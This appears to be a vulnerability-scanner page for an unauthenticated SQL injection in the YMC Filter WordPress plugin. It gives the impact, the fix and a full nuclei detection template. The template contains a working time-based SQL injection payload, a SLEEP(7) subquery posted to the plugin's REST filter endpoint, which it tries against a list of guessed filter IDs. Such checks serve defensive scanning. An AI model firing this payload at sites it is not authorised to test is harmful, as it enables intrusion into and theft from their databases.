YMC Filter - SQL Injection

criticalseverity

9.3CVSS score

1.3%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

YMC Filter <= 3.11.5 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.

Fix

Update to the latest version beyond 3.11.5.

How to confirm it

Send: @timeout: 20s
Positive when: duration>=7 and status_code == 200 and contains(body, "\"success\":true")

Run it with nuclei: nuclei -id CVE-2026-54836 -u <target>

The full check

id: CVE-2026-54836

info:
  name: YMC Filter - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    YMC Filter <= 3.11.5 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.
  remediation: |
    Update to the latest version beyond 3.11.5.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54836
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-54836
    epss-score: 0.01343
    epss-percentile: 0.71597
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,wp-plugin,sqli,ymc-smart-filter,unauth,vkev

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-json/ymc/v1/posts/filter HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"filter_id":{{fid}},"search":"xyznotexist999') OR (SELECT 1 FROM (SELECT SLEEP(7))x)))-- -","post_types":["post"],"paged":1}}

    payloads:
      fid:
        - "1"
        - "2"
        - "3"
        - "10"
        - "50"
        - "100"
        - "150"
        - "152"
        - "200"
        - "250"
        - "300"
        - "500"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(body, "\"success\":true")'
        condition: and

References

https://nvd.nist.gov/vuln/detail/CVE-2026-54836

Use this check only on systems you are authorised to test. Where the data comes from